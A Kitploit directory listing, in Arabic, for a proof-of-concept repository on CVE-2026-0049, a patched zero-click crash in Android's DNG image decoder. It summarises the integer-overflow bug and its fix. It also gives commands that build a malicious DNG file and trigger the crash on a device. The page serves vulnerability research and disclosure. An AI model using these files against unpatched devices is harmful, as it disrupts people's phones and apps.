Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-0049 — PoC وتحليل لثغرة رفض الخدمة (DoS) بدون نقرة في حزمة DNG SDK لنظام أندرويد، مع عيّنات DNG معدّة خصيصًا، وأداة اختبار انهيار NDK، وإعادة إنتاج تجاوز MapTable باستخدام UBSan/IntSan. | Kitploit
أدوات/GitHubGitHub/r3n3r0/cve-2026-0049
أمان أندرويدتوليد الحمولةتحليل الثغرات الأمنيةالاستغلالتحليل الملفات الثنائيةالأوراق والأبحاثالتعلم والتعليم
GitHubr3n3r0/cve-2026-0049

CVE-2026-0049

PoC وتحليل لثغرة رفض الخدمة (DoS) بدون نقرة في حزمة DNG SDK لنظام أندرويد، مع عيّنات DNG معدّة خصيصًا، وأداة اختبار انهيار NDK، وإعادة إنتاج تجاوز MapTable باستخدام UBSan/IntSan.

عرض المستودع
8منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-0049 — ثغرة DoS بصفر نقرات في Android DNG (خطأ add-overflow في MapTable بـ dng_sdk)

مادة بحثية كاملة مع كود إثبات المفهوم (PoC). التحليل السردي: 🇮🇹 BLOG.md · 🇬🇧 BLOG.en.md.

  • الخطأ: تجاوز في الأعداد الصحيحة غير الموقّعة على fAreaSpec.Plane() + fAreaSpec.Planes() في dng_opcode_MapTable::ProcessArea (dng_sdk/source/dng_misc_opcodes.cpp:388).
  • التأثير: DoS بصفر نقرات. إنّ IntSan الذي يستخدمه Android عند تجميع libdng_sdk.so يحوّل التجاوز إلى abort() → SIGABRT في العملية التي تفكّك ترميز DNG.
  • ليست RCE (حدّان على الحلقة → لا يوجد OOB). انظر §12 من BLOG.md.
  • درجة الخطورة: تصنّفها Google (النشرة الأمنية) Critical؛ بينما تصنّفها NVD/CISA Medium (CVSS 6.2) — تصنيفان مختلفان لنفس CVE (§13).
  • الإصلاح: نشرة Android الأمنية لأبريل 2026 (التصحيح 2026-04-01, A-456471290). إصلاحان: تصحيح حسابي في dng_sdk (أُعيدت كتابة + كـ -) + قائمة MIME المسموح بها في LocalImageResolver.java ترفض ملفات DNG (§14).

وتفصّل المقالة أيضًا: المسار الكامل لتوليد PoC (§6)، ولماذا استُخدمت أداة NDK (harness) (§7)، والفرق بين خيارات UBSan/IntSan -fsanitize=undefined مقابل =integer، ووضع recover/no-recover/trap، ووقت التشغيل (runtime) الكامل مقابل المصغّر (§10)، وIntSan مقابل SafeInt مقابل MTE (§11).

البنية

root@kitploit:~
CVE-2026-0049/
├── BLOG.md                       articolo completo — italiano (17 sezioni)
├── BLOG.en.md                    full article — English (17 sections)
├── poc/
│   ├── inject_opcode.py          [PRINCIPALE] inietta OpcodeList2/MapTable in un DNG valido
│   ├── gen_base_dng.py           genera il DNG Bayer valido di base (richiede pidng)
│   ├── make_dng.py               generatore stand-alone (DNG minimale + opcode)
│   └── make_poc_dng.py           primo generatore from-scratch (LinearRaw minimale)
├── harness/
│   ├── decode_poc.c              harness NDK AImageDecoder (crash on-device)
│   └── dng_xmp_stub.cpp          stub XMP per compilare dng_validate su PC
├── samples/
│   ├── valid_poc.dng             PoC funzionante (fa crashare il decoder di sistema)
│   ├── base_benign.dng           controllo benigno (decodifica senza crash)
│   └── poc_minimal.dng           variante minimale from-scratch
└── evidence/
    ├── crash_backtrace.txt       tombstone reale dal Pixel 9
    └── device_analysis.md        analisi binaria libdng_sdk.so + IntSan/SafeInt/MTE

إعادة إنتاج سريعة

A) DNG خبيث

root@kitploit:~
pip install pidng
python3 poc/gen_base_dng.py base                     # -> base.dng (Bayer valido)
python3 poc/inject_opcode.py base.dng valid_poc.dng poc
# oppure usa direttamente samples/valid_poc.dng

تفصيل بالغ الأهمية: يجب أن تكون AreaSpec غير فارغة (0,0,H,W)؛ فمع منطقة فارغة تقوم dng_sdk في Android بإنهاء التنفيذ مبكرًا (short-circuit) وتعود عملية فك الترميز بخطأ دون انهيار (انظر §6.6 من BLOG.md). ولماذا يلزم DNG صالح بالكامل وليس نسخة أدنى (minimal): SkRawCodec (وحدة فك الترميز الخاصة بالنظام) أكثر صرامةً من Glide/Photos ويرفض ملفات DNG التي تفتقر إلى بيانات وصفية كاملة للألوان (§2، §6.1).

B) الانهيار على الجهاز (أداة NDK)

root@kitploit:~
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang \
    -O0 -o decode_poc harness/decode_poc.c -ljnigraphics
adb push decode_poc valid_poc.dng /data/local/tmp/     # NB: /data/local/tmp, NON /sdcard (FUSE)
adb shell /data/local/tmp/decode_poc /data/local/tmp/valid_poc.dng
# -> Abort message: 'ubsan: add-overflow' ; SIGABRT in dng_opcode_MapTable::ProcessArea

C) إعادة إنتاج على الحاسوب (بدون هاتف) باستخدام dng_validate + UBSan

قم بترجمة مصادر dng_sdk مع تطبيق -fsanitize=integer -fno-sanitize-recover فقط على dng_misc_opcodes.cpp (استخدم harness/dng_xmp_stub.cpp للربط بدون XMP SDK). ثم:

root@kitploit:~
./dng_validate samples/valid_poc.dng
# dng_misc_opcodes.cpp:388:32: runtime error: unsigned integer overflow: 4294967040 + 512

لأغراض البحث والتعليم فقط. تم الاختبار حصريًا على أجهزة مملوكة.

تنزيل الأداة